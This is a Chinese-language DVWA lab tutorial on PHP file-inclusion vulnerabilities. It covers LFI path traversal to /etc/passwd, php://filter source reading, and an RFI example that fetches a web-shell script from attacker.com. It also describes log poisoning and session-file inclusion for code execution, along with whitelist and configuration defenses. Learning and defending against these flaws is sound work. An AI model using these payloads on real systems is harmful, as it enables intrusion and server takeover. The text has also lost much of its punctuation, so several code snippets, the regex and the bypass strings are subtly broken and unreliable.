1. 从靶场到实战理解文件包含漏洞的本质在安全测试和Web应用漏洞学习领域DVWADamn Vulnerable Web Application是一个绕不开的名字。它就像是一个专门为安全爱好者搭建的“练功房”里面预设了各种常见的Web漏洞供我们安全地练习、理解和掌握。今天我们要拆解的就是其中非常经典且危害极大的一个漏洞类型文件包含File Inclusion。你可能在搜索“dvwa靶场通关教程”时频繁看到它也可能在实际开发中因为“vscode中显示在 browse.path 中未找到包含文件”这类提示而隐约感到不安。文件包含漏洞远不止于靶场里的一个练习项目它是许多真实安全事件的根源。简单来说文件包含漏洞允许攻击者将服务器上的本地文件Local File Inclusion, LFI甚至远程服务器上的文件Remote File Inclusion, RFI作为代码包含并执行。想象一下你的网站有一个功能可以根据用户选择的“主题”加载不同的页面头部文件比如include(‘header_’ . $_GET[‘theme’] . ‘.php’)。这本是一个正常的动态包含逻辑。但如果攻击者将theme参数设置为../../../../etc/passwd会发生什么服务器可能会尝试去包含系统密码文件。如果更进一步参数指向一个攻击者控制的远程服务器上的恶意脚本那么服务器就会直接执行那段脚本相当于攻击者获得了在服务器上执行任意代码的能力。这就是文件包含漏洞的可怕之处——它可能将一次简单的参数传递变成整个系统沦陷的入口。在DVWA靶场中文件包含漏洞被清晰地划分为四个安全等级Low、Medium、High、Impossible。这为我们提供了一个绝佳的学习路径让我们能一步步看到漏洞是如何产生的以及如何通过不同的防护措施将其修复。无论是你正在“kali 2025.3 安装 dvwa 完整步骤”还是已经将“dvwa文件夹整个剪贴到 phpstudy 的 www 目录下”接下来的内容都将带你从原理到实操彻底吃透这个漏洞。2. 漏洞原理深度剖析为什么参数会变成武器要防御一个漏洞首先必须理解它为何会产生。文件包含漏洞的核心成因在于应用程序在动态包含文件时过度信任或未充分过滤用户输入。2.1 动态包含的初衷与风险在PHP中include、require、include_once、require_once这些语句是为了提高代码的复用性和模块化。比如将数据库连接配置写在config.php中然后在每个需要数据库操作的页面开头包含它。这是一种良好的编程实践。问题出在当包含的文件路径或名称完全或部分由用户可控的输入如$_GET、$_POST、$_COOKIE来动态拼接时。例如一个简单的文件查看器功能$page $_GET[page]; include(/var/www/html/pages/ . $page . .php);开发者的本意可能是让用户通过?pageabout来访问about.php页面。这里的风险在于攻击者完全不受“访问about.php”这个预设目标的约束。2.2 路径遍历Directory Traversal与空字节注入这是利用LFI最常用的两种技术。路径遍历攻击者利用../在Linux/Unix中或..\在Windows中这些目录跳转符号尝试逃离程序设定的安全目录访问系统上的任意文件。例如输入../../../etc/passwd最终拼接的路径可能变成/var/www/html/pages/../../../etc/passwd.php经过系统路径解析后实际上就指向了/etc/passwd这个敏感系统文件。空字节注入这是一个历史遗留问题主要影响旧版本的PHP5.3.4之前。在C语言中空字节%00是字符串的终止符。如果代码在包含文件后强制添加了后缀如.php攻击者可以在输入末尾添加%00。例如输入../../../etc/passwd%00拼接后为../../../etc/passwd%00.php。PHP在旧版本中处理字符串时遇到%00会认为字符串到此结束从而忽略后面强制添加的.php成功包含/etc/passwd。2.3 远程文件包含RFI的条件与危害RFI比LFI危害更大因为它直接导致了远程代码执行RCE。但它的利用有一个关键前提PHP配置中的allow_url_include选项必须为On默认是Off。当这个选项开启时include和require函数可以把来自HTTP或FTP协议的URL作为文件路径来包含并执行。例如如果代码是include($_GET[file])攻击者可以传入http://attacker.com/shell.txt。服务器会去请求这个URL获取其中的内容假设是一段PHP代码?php system($_GET[‘cmd’]);?并将其作为PHP代码执行。瞬间攻击者就在你的服务器上打开了一个“后门”。注意在现代PHP版本和默认配置下allow_url_include通常是关闭的因此RFI在实际中比LFI少见但一旦存在就是致命威胁。在内部测试或老旧系统中仍需重点关注。3. DVWA文件包含漏洞实战通关解析下面我们以DVWA为例逐一闯关四个安全等级亲身体验漏洞的利用与修复。请确保你的DVWA已正确搭建无论是通过“phpstudy的www目录”还是“kali 2025.3安装”。3.1 Low安全等级毫无防护的“裸奔”状态漏洞代码分析在Low级别DVWA的源码通常简单粗暴$file $_GET[page]; include($file);可以看到程序直接获取page参数未经任何处理就交给了include()函数。这是最典型的文件包含漏洞。利用演示本地文件包含LFI在页面参数中输入../../../../etc/passwd尝试读取Linux系统密码文件。如果是在Windows系统上搭建可以尝试../../../../windows/system32/drivers/etc/hosts来读取主机文件。利用PHP封装协议这是LFI漏洞一个极其强大的利用点。PHP内置了一些“封装协议”可以访问不同的输入/输出流。读取PHP源码传入php://filter/convert.base64-encode/resourceindex.php。这行参数的意思是使用php://filter流对index.php这个资源进行base64-encode编码后再读取。为什么要编码因为如果直接包含index.php它会被服务器当作PHP代码执行我们看到的只是执行结果空白页或HTML。通过Base64编码我们可以拿到文件的源码文本解码后就能分析其逻辑。这是审计代码的常用技巧。执行PHP代码如果allow_url_include为On可以尝试RFI。否则可以结合文件上传漏洞。先上传一个包含恶意代码的图片文件例如在图片末尾附加?php phpinfo(); ?然后通过LFI去包含这个上传文件的路径。实操心得在Low级别不要只满足于读取/etc/passwd。多尝试php://filter协议这是将简单文件读取升级为源码审计的关键一步。同时留意页面的绝对路径信息为后续包含上传文件做准备。3.2 Medium安全等级初级的、可被绕过的过滤防护代码分析Medium级别通常会引入一些简单的过滤$file str_replace( array( “http://”, “https://” ), “”, $_GET[‘page’] ); $file str_replace( array( “../”, “..\” ), “”, $_GET[‘page’] ); include($file);代码试图做两件事1. 删除http://和https://来防止RFI2. 删除../和..\来防止路径遍历。绕过技巧这种过滤非常脆弱因为它只进行一次简单的字符串替换。双写绕过对于路径遍历我们可以输入…/./。当代码删除中间的../后剩下的两个点.和斜杠/会再次组合成../。例如输入…/./…/./etc/passwd过滤后变成../../etc/passwd。绝对路径绕过如果知道目标文件的绝对路径例如/var/www/html/config.php可以直接使用绝对路径包含完全不需要../。RFI绕过删除http://并不能阻止所有远程包含。可以尝试使用其他协议或写法如htTp://大小写、http:/少一个斜杠某些环境下可能被自动补全、或者使用DNS域名如果过滤不严谨。但最根本的还是allow_url_include的设置。3.3 High安全等级白名单机制但仍有蹊径防护代码分析High级别通常采用白名单机制这是比黑名单过滤特定字符串安全得多的方式$file $_GET[‘page’]; if ( $file ! “include.php” $file ! “file1.php” $file ! “file2.php” $file ! “file3.php” ) { echo “ERROR: File not found!”; exit; } include($file);代码检查page参数是否在预定义的白名单include.php,file1.php等内。如果不在直接退出。这看起来非常安全。非常规利用思路在白名单机制下传统的路径遍历和直接RFI都失效了。但漏洞利用往往需要结合其他漏洞或特性。结合文件上传漏洞这是最常见的思路。如果网站同时存在文件上传功能且上传的文件路径可预测或可被访问那么我们可以先上传一个包含恶意代码的文件如图片马然后通过文件包含漏洞来包含这个上传文件。此时page参数的值是服务器上一个已知路径的文件名如uploads/evil.jpg它可能不在白名单内但include()函数依然会去执行它。关键在于如何让page参数的值指向那个上传文件。如果白名单检查是“完全匹配”此路不通但如果检查有瑕疵或者包含路径是“白名单文件用户参数”拼接而成则可能存在机会。在DVWA的High级别中通常需要配合其他漏洞场景或者其实现本身可能留有余地例如使用file参数而非page需要仔细审计源码。注意事项High级别的防护理念是正确的——使用白名单。在实际开发中这是推荐的做法。但实现时必须确保白名单校验发生在包含操作之前且校验逻辑严密没有绕过空间。3.4 Impossible安全等级如何从根本上解决问题Impossible级别展示了根治文件包含漏洞的最佳实践$file $_GET[‘page’]; // 只允许包含“include.php”、“file1.php”、“file2.php”、“file3.php” switch ($file) { case ‘include.php’: case ‘file1.php’: case ‘file2.php’: case ‘file3.php’: include($file); break; default: echo ‘ERROR: File not found!’; break; }或者更优雅地使用一个定义好的数组白名单$whitelist array(‘include.php’, ‘file1.php’, ‘file2.php’, ‘file3.php’); $file $_GET[‘page’]; if (in_array($file, $whitelist)) { include($file); } else { die(‘ERROR: File not found!’); }核心要点严格的白名单只允许包含预先明确知道的、有限的几个文件。任何用户输入都无法改变这个列表。避免动态拼接文件路径不是由用户输入的字符串拼接而成而是由程序逻辑完全控制。关闭危险配置确保php.ini中allow_url_include和allow_url_fopen设置为Off从根本上杜绝RFI。4. 超越靶场文件包含漏洞的进阶利用与防御在真实环境中文件包含漏洞的利用方式更加多样防御也需要层层布防。4.1 进阶利用技巧实录日志文件污染Log Poisoning这是LFI利用中非常经典的一种获取RCE的方法。Web服务器如Apache、Nginx和系统服务如SSH都会生成日志文件这些文件通常Web用户有读取权限。攻击步骤步骤一找到日志路径。常见路径如/var/log/apache2/access.log、/var/www/logs/error.log。步骤二污染日志。通过发送特殊的HTTP请求将PHP代码写入日志文件。例如访问http://target.com/?php phpinfo(); ?这个URL会被记录在access.log中从而在日志文件里写入了?php phpinfo(); ?这段文本。步骤三包含日志文件。利用已有的LFI漏洞去包含这个日志文件../../../../var/log/apache2/access.log。服务器执行日志中的PHP代码攻击者便实现了远程代码执行。包含/proc/self/environ文件在Linux系统中/proc/self/environ文件包含了当前进程的环境变量其中HTTP_USER_AGENT等字段是用户可控的。攻击者可以修改User-Agent头为PHP代码然后通过LFI包含/proc/self/environ来执行代码。这种方法对服务器配置有一定要求。利用PHP Session文件PHP的Session数据通常存储在服务器临时目录的文件中如/tmp/sess_[sessionid]。如果Session内容部分用户可控例如将用户输入存入$_SESSION[‘data’]且Session文件路径可预测那么通过LFI包含该Session文件也可能执行代码。4.2 系统化防御方案构建仅仅在代码层面修复是远远不够的需要从多个层面构建防御体系防御层面具体措施说明与理由代码层面使用白名单严格限定可包含的文件名列表避免任何动态拼接。这是最有效、最根本的解决方案。将用户输入与文件路径解耦。硬编码路径如果需要动态性应在代码内部使用映射关系如数组将用户选择映射到固定的文件路径。例如$pages [‘about’ ‘/templates/about.php’]; $file $pages[$_GET[‘page’]];验证输入如果必须使用输入应严格校验只允许字母、数字、下划线等安全字符并限制长度。使用正则表达式进行强校验例如/^[a-zA-Z0-9_]$/。使用basename()函数该函数会去掉路径中的目录部分只返回文件名。但需注意其对非ASCII字符的处理可能有问题。可以防止简单的../跳转但不能作为唯一防御手段。配置层面关闭allow_url_include和allow_url_fopen在php.ini中确保这两个选项为Off。彻底关闭RFI的大门。这是生产环境必须的配置。设置open_basedir将PHP可访问的文件限制在网站根目录及其子目录下。即使发生LFI攻击者也无法跳出这个“监狱”去访问系统关键文件。降低运行权限Web服务器进程如www-data用户应以最低必要权限运行避免其读取系统敏感文件。遵循最小权限原则即使被攻破影响范围也有限。运维层面定期更新与审计保持PHP、Web服务器及所有组件的最新版本定期进行代码安全审计。修复已知漏洞消除潜在风险。配置日志与监控监控对异常路径如包含大量../的访问请求设置告警。及时发现攻击行为进行应急响应。4.3 常见问题与排查技巧在实际开发和测试中你可能会遇到以下问题包含文件后页面空白或报错“Failed opening required …”排查首先检查文件路径是否正确。使用绝对路径而非相对路径更可靠。检查文件权限确保Web服务器进程如www-data有读取该文件的权限。查看PHP错误日志通常位于/var/log/apache2/error.log或类似位置获取详细错误信息。php://filter协议使用时报错排查确认PHP版本是否支持该封装协议通常都支持。检查allow_url_fopen配置虽然php://是本地协议但某些环境下可能受此影响。确保路径写法正确例如php://filter/readconvert.base64-encode/resource./index.php。在Windows环境下测试路径遍历失败技巧Windows路径使用反斜杠\且盘符概念不同。可以尝试..\..\..\windows\system32\drivers\etc\hosts。注意在HTTP参数中反斜杠可能需要转义或使用正斜杠Windows API通常也接受正斜杠/。DVWA页面无法正常显示或包含功能无效排查这是“dvwa靶场搭建过程”中的常见问题。检查DVWA的配置文件config/config.inc.php中的数据库连接设置。确保PHP版本兼容DVWA可能需要5.3版本。检查php.ini中allow_url_include是否已按DVWA要求正确设置。清除浏览器缓存或尝试在DVWA界面点击“Create / Reset Database”按钮重新初始化数据库。文件包含漏洞的学习是一个从“知其然”知道怎么利用到“知其所以然”理解原理再到“知其所以不然”掌握如何防御的完整过程。DVWA靶场为我们提供了完美的实验环境。但请务必记住所有练习都应在自己搭建的、与外界隔离的测试环境中进行。将在这里学到的思路和防御方法应用到实际开发的安全编码实践中才是我们真正的目标。在代码中对用户输入保持永远的不信任并采用白名单等积极防御策略是构建安全Web应用的基石。